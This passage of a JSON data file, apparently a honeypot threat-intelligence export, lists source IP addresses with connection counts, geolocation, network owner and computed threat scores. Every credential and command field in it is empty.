        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:20:35.782000+00:00",
        "last_seen_30d": "2026-05-05T00:21:49.360000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "112.51.27.82": {
      "attack_count": 4,
      "first_seen": "2026-05-27T20:09:14.629Z",
      "last_seen": "2026-05-27T20:11:14.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Fuzhou",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T11:52:44.167000+00:00",
        "last_seen_30d": "2026-05-27T20:21:18.081000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4
      }
    },
    "139.135.40.145": {
      "attack_count": 4,
      "first_seen": "2026-05-21T02:59:58.166Z",
      "last_seen": "2026-05-21T03:00:23.563Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:59:58.166000+00:00",
        "last_seen_30d": "2026-05-21T03:01:28.042000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "179.98.56.92": {
      "attack_count": 4,
      "first_seen": "2026-05-23T02:32:37.755Z",
      "last_seen": "2026-05-23T02:36:40.135Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 do Rio Preto",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:32:37.755000+00:00",
        "last_seen_30d": "2026-05-23T02:38:16.698000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "20.106.32.153": {
      "attack_count": 4,
      "first_seen": "2026-05-31T16:36:08.787Z",
      "last_seen": "2026-05-31T16:36:19.319Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 66.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.0,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 24,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-08T20:57:38+00:00",
        "last_seen_30d": "2026-05-31T16:37:26.427000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "220.172.102.73": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:31:11.998Z",
      "last_seen": "2026-05-19T06:31:27.102Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:31:11.998000+00:00",
        "last_seen_30d": "2026-05-19T06:32:36.313000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.227.106.112": {
      "attack_count": 3,
      "first_seen": "2026-05-28T19:38:29.534Z",
      "last_seen": "2026-05-28T19:38:30.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 78.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 26,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T02:19:54.870000+00:00",
        "last_seen_30d": "2026-05-28T19:39:41.679000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 18,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "105.188.30.248": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:11:27.348Z",
      "last_seen": "2026-05-04T11:13:27.354Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:47:48.918000+00:00",
        "last_seen_30d": "2026-05-05T23:31:41.182000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "105.224.10.54": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:26:24.193Z",
      "last_seen": "2026-05-16T12:26:26.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Port Elizabeth",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T12:26:24.193000+00:00",
        "last_seen_30d": "2026-05-16T12:27:54.146000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "106.192.171.241": {
      "attack_count": 2,
      "first_seen": "2026-05-04T10:09:27.605Z",
      "last_seen": "2026-05-04T10:09:40.660Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:09:27.605000+00:00",
        "last_seen_30d": "2026-05-04T10:10:49.638000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.179.173.177": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:32:20.810Z",
      "last_seen": "2026-05-23T01:32:52.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:32:20.810000+00:00",
        "last_seen_30d": "2026-05-23T01:33:57.905000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.91.155.208": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:21:05.051Z",
      "last_seen": "2026-05-08T19:21:17.552Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 38673,
      "as_org": "Korea Cable TV Kwangju Broadcasting",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:21:05.051000+00:00",
        "last_seen_30d": "2026-05-08T19:22:19.901000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.124.228.63": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:55:19.952Z",
      "last_seen": "2026-05-23T01:55:48.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:55:19.952000+00:00",
        "last_seen_30d": "2026-05-23T01:56:51.519000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.26.47": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:52:13.754Z",
      "last_seen": "2026-05-23T02:54:03.888Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:52:13.754000+00:00",
        "last_seen_30d": "2026-05-23T02:55:10.936000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.209.126.91": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:37:34.899Z",
      "last_seen": "2026-05-23T02:38:13.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:37:34.899000+00:00",
        "last_seen_30d": "2026-05-23T02:39:20.411000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.213.221.248": {
      "attack_count": 2,
      "first_seen": "2026-05-02T18:13:46.198Z",
      "last_seen": "2026-05-02T18:13:58.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:13:46.198000+00:00",
        "last_seen_30d": "2026-05-02T18:15:07.151000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.224.150.216": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:19:15.790Z",
      "last_seen": "2026-05-17T07:19:30.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:19:15.790000+00:00",
        "last_seen_30d": "2026-05-17T07:20:39.346000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.137.250.148": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:10:46.712Z",
      "last_seen": "2026-05-11T03:10:59.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Arapongas",
      "asn": 264069,
      "as_org": "CONECTTIVA TELECOM LTDA.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:10:46.712000+00:00",
        "last_seen_30d": "2026-05-11T03:12:04.622000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.232.123.156": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:28:20.433Z",
      "last_seen": "2026-05-06T03:28:32.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Arcoverde",
      "asn": 271671,
      "as_org": "REALTEC NETWORKS LTDA",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:28:20.433000+00:00",
        "last_seen_30d": "2026-05-06T03:29:39.077000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.244.180.22": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:27:32.460Z",
      "last_seen": "2026-05-23T04:27:45.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapororoca",
      "asn": 266506,
      "as_org": "PONTO COM PROVEDOR DE INTERNET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:27:32.460000+00:00",
        "last_seen_30d": "2026-05-23T04:28:48.381000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.125.166.166": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:07:52.760Z",
      "last_seen": "2026-05-03T10:08:05.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nowon-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:07:52.760000+00:00",
        "last_seen_30d": "2026-05-03T10:09:15.227000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.116.30.166": {
      "attack_count": 2,
      "first_seen": "2026-05-18T17:24:49.528Z",
      "last_seen": "2026-05-18T17:26:49.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T06:44:41.376000+00:00",
        "last_seen_30d": "2026-05-21T01:41:07.690000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "177.128.55.13": {
      "attack_count": 2,
      "first_seen": "2026-05-10T17:56:19.771Z",
      "last_seen": "2026-05-10T17:56:33.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapuranga",
      "asn": 270692,
      "as_org": "JOSE CARLOS GONZAGA CARDOSO - ME",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T17:56:19.771000+00:00",
        "last_seen_30d": "2026-05-10T17:57:42.727000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.225.93.145": {
      "attack_count": 2,
      "first_seen": "2026-05-15T15:51:04.992Z",
      "last_seen": "2026-05-15T15:51:19.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Xalapa",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T15:51:04.992000+00:00",
        "last_seen_30d": "2026-05-15T15:52:25.038000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.72.23.45": {
      "attack_count": 2,
      "first_seen": "2026-05-07T20:34:34.056Z",
      "last_seen": "2026-05-07T20:34:47.516Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Resende Costa",
      "asn": 262691,
      "as_org": "CONECTA LTDA.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:34:34.056000+00:00",
        "last_seen_30d": "2026-05-07T20:44:50.229000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.26.137.5": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:53:23.416Z",
      "last_seen": "2026-05-19T21:55:23.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:53:23.416000+00:00",
        "last_seen_30d": "2026-05-19T22:06:03.146000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "183.134.146.175": {
      "attack_count": 2,
      "first_seen": "2026-05-24T23:19:14.935Z",
      "last_seen": "2026-05-24T23:19:31.018Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:19:14.935000+00:00",
        "last_seen_30d": "2026-05-24T23:20:38.855000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.152.122.197": {
      "attack_count": 2,
      "first_seen": "2026-05-18T14:15:23.036Z",
      "last_seen": "2026-05-18T14:15:35.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:15:23.036000+00:00",
        "last_seen_30d": "2026-05-18T14:16:37.489000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.188.213.195": {
      "attack_count": 2,
      "first_seen": "2026-05-17T19:47:17.979Z",
      "last_seen": "2026-05-17T19:47:31.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
